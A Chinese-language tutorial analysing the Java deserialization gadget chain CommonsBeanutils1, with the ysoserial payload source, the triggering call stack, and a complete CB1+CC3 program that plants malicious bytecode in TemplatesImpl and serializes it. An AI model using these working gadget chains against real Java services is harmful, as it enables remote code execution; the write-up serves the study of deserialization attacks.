前置知识
TemplatesImpl
中的字节码加载流程
1
2
3
|
TemplatesImpl.newTransformer()
->TemplatesImpl.getTransletInstance()
->TemplatesImpl._class[_transletIndex].newInstance()
|
其中TemplatesImpl._class[_transletIndex]
在如下调用栈里的loader.defineClass处
进行了类加载
1
2
3
4
5
6
7
|
TemplatesImpl.newTransformer()
->TemplatesImpl.getTransletInstance()
->TemplatesImpl.defineTransletClasses()
-> for (int i = 0; i < classCount; i++) {
...
_class[i] = loader.defineClass(_bytecodes[i]);
...
|
并紧接着进行了类初始化,这样恶意类就可以执行命令了
CommonsBeanutils1
依赖
1
2
3
4
5
|
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
|
直接贴上ysoserial源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
package ysoserial.payloads;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF })
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils1.class, args);
}
}
|
触发的调用栈:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
| PriorityQueue.readObject():795
| PriorityQueue.heapify():736
| PriorityQueue.siftDown():687
| PriorityQueue.siftDownUsingComparator():721
| BeanComparator.compare():163
| PropertyUtils.getProperty():464
| PropertyUtilsBean.getProperty():884
| PropertyUtilsBean.getNestedProperty():808
| PropertyUtilsBean.getSimpleProperty():1267
| PropertyUtilsBean.invokeMethod():2116
| TemplatesImpl.getOutputProperties():507
| TemplatesImpl.newTransformer():486
↓ TemplatesImpl.getTransletInstance():451
|
通过PriorityQueue
的反序列化入口中的heapify()
,调用到BeanComparator.compare()
PriorityQueue
类中涉及数据结构是优先级队列,具体实现是二叉堆的结构,默认是小顶堆,可以通过自定义Comparator
修改排序比较





BeanComparator.compare()
中使用了PropertyUtils.getProperty
获取对象obj
的属性property
,该类的底层实现会去寻找对应属性的getter方法,调用该getter方法,然后获取属性值。
对寻找getter逻辑的库实现代码有兴趣可以看这里,简单来说,库代码只是简单判断了是否以get
开头,属性的获取使用到了java内省的功能(内省一般在java框架实现中使用),具体实现在 java.beans.Introspector.getTargetPropertyInfo()
中。

被调用的"getter"方法是TemplatesImpl.getOutputProperties()
,TemplatesImpl.getOutputProperties()
里调用了TemplatesImpl.newTransformer()
,就接上了前置知识了
总结
-
java.util.PriorityQueue
提供readObject()
-> compare()
-
org.apache.commons.beanutils.BeanComparator
提供compare()
->任意getXXX方法
-
org.apache.xalan.internal.xsltc.trax.TemplatesImpl
提供getTransletInstance()
-
TemplatesImpl.getTransletInstance()
提供了TemplatesImpl.newTransformer()
tips
org.apache.xalan.internal.xsltc.trax.TemplatesImpl
也可以为 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
Q&A
理论上,"get".startsWith("get") == true
,那么
org.apache.commons.beanutils.BeanComparator
提供compare()
->任意getXXX方法
,那么他能不能用于触发LazyMap.get()
?
PropertyUtils.getProperty(new LazyMap(),"")
能
但是 PropertyUtils.getProperty()
会识别到LazyMap
是一个Map
类,不论如何都不会执行到name.startsWith("get")
的判断(执行流直接分叉了)
如果属于Map
类且没找到name
的getter
,会去直接调用Map.get(name)
,把难题给到Map
此时PropertyUtils.getProperty(new LazyMap(),string)
相当于LazyMap.get(string)
但由于PropertyUtils.getProperty()
的第二个参数只能是String类型,所以需要搭配ChainedTransformer
食用(不使用Transformer[]
的前提是LazyMap.get(obj)
,obj
完全可控(至少不能是个String
吧喂)
obj
至少需要满足是个可控类对象
完整代码(CB1+CC3)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.comparators.BooleanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class CC4PriorityQueue {
public static void main(String[] args) throws Exception {
byte[] bytecode = DynamicCompiler.compileToBytes("com.ldm.Evil");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
setFieldValue(templates, "_name", "ldm");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
final BeanComparator comparator = new BeanComparator("class");
Comparator booleanComparator = new BooleanComparator(true);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, booleanComparator);
priorityQueue.add(true);
priorityQueue.add(false);
setFieldValue(priorityQueue, "comparator", comparator);
setFieldValue(comparator, "property", "");
setFieldValue(priorityQueue, "queue", new Object[]{outerMap,outerMap});
serialize(priorityQueue);
unserialize("cchhh.ser");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cchhh.ser"));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
}
|
可能不具有实战意义,但是可以检测新手对于链的掌握程度(吧)
Ref
https://github.com/frohoff/ysoserial